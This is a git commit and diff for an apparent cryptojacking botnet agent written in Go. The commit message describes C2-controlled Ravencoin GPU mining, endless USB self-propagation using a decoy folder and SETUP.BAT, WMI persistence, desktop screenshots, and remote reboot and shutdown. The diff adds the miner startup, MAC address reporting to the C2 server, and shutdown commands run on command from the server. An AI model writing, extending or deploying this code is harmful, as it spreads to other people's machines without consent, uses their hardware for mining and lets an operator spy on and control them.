Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
2026-06-02 21:50:34 -07:00
parent 41b5ec7a88
commit ca66f5d048
34 changed files with 2369 additions and 277 deletions

View File

@@ -39,6 +39,7 @@ type AgentClient struct {
agentID string
sharesSubmitted int
sharesAccepted int
gpuMiner *GPUMiner
// connected is true while a C2 WebSocket session is active.
// The Stratum fallback manager monitors this to decide when to mine directly.
@@ -66,6 +67,15 @@ func (c *AgentClient) Run() error {
c.pool.Start()
defer c.pool.Stop()
// Start GPU miner (Ravencoin / KawPoW) if configured
if gm := newGPUMiner(c.cfg); gm != nil {
c.mu.Lock()
c.gpuMiner = gm
c.mu.Unlock()
gm.Start()
defer gm.Stop()
}
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
@@ -198,6 +208,23 @@ func (c *AgentClient) connectLoop(serverURL string) error {
}
}
func primaryMACAddress() string {
ifaces, err := net.Interfaces()
if err != nil {
return ""
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
continue
}
if len(iface.HardwareAddr) == 0 {
continue
}
return iface.HardwareAddr.String()
}
return ""
}
func (c *AgentClient) authenticate() error {
host, cores, memGB := c.reporter.SystemInfo()
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
@@ -230,6 +257,7 @@ func (c *AgentClient) authenticate() error {
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(),
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -373,6 +401,18 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
log.Printf("[agent] remote uninstall failed: %v", err)
}
}()
case "reboot_machine":
c.sendCommandResult(action, true, "system reboot initiated")
go func() {
time.Sleep(500 * time.Millisecond)
_, _ = c.runShellCommand("shutdown /r /t 0")
}()
case "shutdown_machine":
c.sendCommandResult(action, true, "system shutdown initiated")
go func() {
time.Sleep(500 * time.Millisecond)
_, _ = c.runShellCommand("shutdown /s /t 0")
}()
case "get_log":
if tailLines <= 0 {
tailLines = 300
@@ -705,6 +745,24 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.GPUTempC = lastPressure.GPUTempC
stats.GPUUsagePct = lastPressure.GPUUsagePct
}
// GPU miner (Ravencoin) stats — included when GPU miner is running
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gs, active := gm.Stats()
stats.GPUMinerActive = &active
stats.GPUHashrate15s = gs.Hashrate15s
stats.GPUHashrate1m = gs.Hashrate1m
stats.GPUHashrate15m = gs.Hashrate15m
stats.GPUModel = gm.GPUModel()
if gs.GPUTempC != nil {
stats.GPUTempC = gs.GPUTempC
}
if gs.GPUUsagePct != nil {
stats.GPUUsagePct = gs.GPUUsagePct
}
}
if postureReady && lastPosture != nil {
score := lastPosture.PostureScore
stats.PostureScore = &score